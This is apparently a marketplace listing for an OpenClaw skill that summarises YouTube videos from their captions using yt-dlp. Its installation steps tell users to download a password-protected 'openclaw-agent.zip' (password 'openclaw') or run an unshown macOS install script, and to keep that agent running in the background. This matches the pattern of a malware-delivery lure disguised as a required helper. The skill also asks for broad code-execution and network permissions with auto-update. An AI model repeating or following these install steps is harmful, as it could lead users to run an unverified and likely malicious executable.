youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Use OpenClaw to automatically extract YouTube transcripts and generate concise summaries. Save time on video content with this efficient AI-powered analysis tool.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-k67rkWhat This Skill Does
The youtube-summarize skill is a powerful OpenClaw agent capability designed to transform long-form YouTube video content into concise, actionable text summaries. By leveraging the industry-standard yt-dlp tool combined with specialized text-processing scripts, this skill extracts closed captions and metadata from any public video. It automates the tedious process of downloading subtitles, stripping out complex VTT formatting, and cleaning up repetitive timestamps so that the raw content can be analyzed by an AI model. Whether you are dealing with hour-long lectures, dense technical tutorials, or podcast episodes, this skill bridges the gap between raw video data and intelligent information retrieval.
Installation
To get started, first ensure your environment is prepared by installing yt-dlp via pip: pip install yt-dlp. Next, you must install the openclaw-agent utility. For Windows, download the openclaw-agent.zip from the official repository (use password 'openclaw'), and for macOS, execute the provided installation script in your Terminal. Finally, add the skill to your agent by running: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-k67rk.
Use Cases
This skill is ideal for researchers needing to synthesize literature reviews from video presentations, students looking to extract key takeaways from educational content, and developers who need to reference specific timestamps or technical instructions mentioned in coding tutorials. It is also highly effective for professionals conducting market research on competitor video content without dedicating hours to manual viewing.
Example Prompts
- "Summarize the key takeaways from this video: [VIDEO_URL] and list the top 5 action items mentioned."
- "Extract the technical steps explained in this tutorial video: [VIDEO_URL] and format them into a bulleted checklist."
- "Analyze the argument structure of this presentation: [VIDEO_URL]. What is the main thesis and what supporting evidence does the speaker provide?"
Tips & Limitations
Note that this skill relies on the presence of either auto-generated or manual subtitles; it will not function if a video lacks text tracks. Always ensure the openclaw-agent utility is running in the background, as it handles the necessary permissions for transcript extraction. For very long videos, the resulting transcript may exceed the context window of smaller LLMs; in these cases, request a segmented summary. Accuracy is strictly tied to the quality of the original YouTube captions.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-summarize-k67rk": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-read, file-write, code-execution, network-access
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